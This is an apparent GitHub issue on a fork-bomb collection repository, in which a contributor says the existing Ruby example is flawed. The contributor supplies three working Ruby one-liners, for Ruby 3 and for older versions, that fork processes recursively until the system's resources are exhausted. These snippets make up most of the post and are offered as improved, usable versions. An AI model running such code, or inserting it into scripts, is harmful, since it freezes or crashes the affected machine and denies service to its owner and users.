fork-bomb icon indicating copy to clipboard operation
fork-bomb copied to clipboard

Ruby example isn't good

Open Souravgoswami opened this issue 2 years ago • 1 comments

The Ruby example loops and forks... I don't think it's a fork bomb at all.

A fork bomb in Ruby 3 will look like this:

#!/usr/bin/env -S ruby --disable-gems
method(def f = fork { f && sleep }).call

There's no loop inside. The method f calls itself. It requires no file load, no loop.

Modified version for Ruby 3 only:

#!/usr/bin/env -S ruby --disable-gems
send(def f = fork { f && sleep })

For lower Ruby versions, we can use stabby lambda, lambda or a proc:

#!/usr/bin/env -S ruby --disable-gems
(f = -> { fork { f.() && sleep } }).()

Souravgoswami avatar Jul 12 '22 12:07 Souravgoswami